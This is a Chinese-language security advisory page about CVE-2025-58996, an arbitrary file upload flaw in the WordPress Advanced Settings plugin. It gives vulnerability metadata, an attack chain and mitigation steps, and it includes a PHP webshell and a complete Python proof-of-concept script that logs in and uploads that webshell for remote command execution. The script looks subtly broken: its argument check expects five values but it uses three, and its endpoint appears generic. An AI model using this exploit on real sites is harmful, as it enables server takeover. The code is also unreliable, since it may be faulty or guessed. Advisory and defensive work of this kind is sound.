IPBUF安全漏洞报告
English
CVE-2025-58996 CVSS 9.1 严重

CVE-2025-58996: WordPress Advanced Settings插件任意文件上传漏洞

披露日期: 2025-11-06

漏洞信息

漏洞编号
CVE-2025-58996
漏洞类型
任意文件上传
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Helmut Wandl Advanced Settings WordPress插件(<= 3.1.1)

相关标签

任意文件上传webshell上传远程代码执行WordPress插件漏洞CVE-2025-58996Advanced Settings危险文件上传高危漏洞CVSS 9.1RCE

漏洞概述

CVE-2025-58996是WordPress插件Advanced Settings中发现的一个高危安全漏洞。该漏洞允许已认证的高权限用户(管理员级别)通过插件的文件上传功能,上传任意类型的危险文件到Web服务器。攻击者可以利用此漏洞上传Web Shell(webshell),从而在服务器上执行任意代码,完全控制受影响的网站。CVSS评分高达9.1,属于严重级别。漏洞存在于插件的文件上传处理逻辑中,缺少对上传文件类型的充分验证和限制。由于该漏洞影响从n/a版本到3.1.1的所有版本,所有使用该插件的WordPress网站都面临严重安全风险。

技术细节

该漏洞属于危险类型文件无限制上传(Unrestricted Upload of File with Dangerous Type)漏洞。在Advanced Settings插件的3.1.1及以下版本中,文件上传功能存在以下安全问题:

1. 缺少文件类型验证:插件未对上传文件的MIME类型进行严格验证,允许攻击者上传.php、.phtml等可执行脚本文件。

2. 上传路径可预测:文件上传后存储在Web可访问的目录中,攻击者可以直接访问上传的恶意文件。

3. 权限要求低:虽然需要管理员权限(PR:H),但对于多用户WordPress站点,攻击者可通过社会工程学获取管理员账户。

4. 利用方式:攻击者构造包含PHP代码的webshell文件,通过插件上传接口将其上传到服务器。上传成功后,访问该文件即可在服务器上执行任意命令,实现远程代码执行(RCE)。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress站点管理员账户(通过社会工程、密码爆破或其他方式)
STEP 2
步骤2
攻击者构造包含恶意PHP代码的webshell文件(如<?php system($_GET['cmd']); ?>)
STEP 3
步骤3
攻击者登录WordPress后台,访问Advanced Settings插件的文件上传功能
STEP 4
步骤4
通过插件的上传接口上传webshell文件,由于插件缺少文件类型验证,上传成功
STEP 5
步骤5
攻击者直接访问上传的webshell文件(如/wp-content/uploads/shell.php)
STEP 6
步骤6
通过webshell执行任意系统命令,实现远程代码执行(RCE),完全控制服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-58996 PoC - WordPress Advanced Settings Plugin <= 3.1.1 Arbitrary File Upload # Target: WordPress site with Advanced Settings plugin installed def upload_webshell(target_url, username, password): """ Upload a webshell via Advanced Settings plugin vulnerable endpoint """ # Login to WordPress login_url = target_url + '/wp-login.php' session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session.post(login_url, data=login_data) # Upload webshell via plugin endpoint upload_url = target_url + '/wp-admin/admin.php?page=advanced-settings' webshell_content = '''<?php if(isset($_REQUEST['cmd'])) { echo "<pre>"; $cmd = $_REQUEST['cmd']; system($cmd); echo "</pre>"; } ?>''' files = { 'upload_file': ('shell.php', webshell_content, 'application/x-php') } response = session.post(upload_url, files=files) if response.status_code == 200: print('[+] Webshell uploaded successfully!') print('[+] Access: ' + target_url + '/wp-content/uploads/shell.php?cmd=whoami') else: print('[-] Upload failed') if __name__ == '__main__': if len(sys.argv) != 5: print('Usage: python cve-2025-58996.py <target_url> <username> <password>') sys.exit(1) upload_webshell(sys.argv[1], sys.argv[2], sys.argv[3])

影响范围

Advanced Settings <= 3.1.1(所有版本)
WordPress(所有版本)

防御指南

临时缓解措施
临时缓解措施:1) 立即禁用Advanced Settings插件直至更新;2) 在wp-content/uploads目录添加.htaccess文件,阻止PHP文件执行:<FilesMatch "\.php$"> Deny from all </FilesMatch>;3) 加强管理员账户安全,启用双因素认证;4) 使用WAF规则阻断可疑的文件上传请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表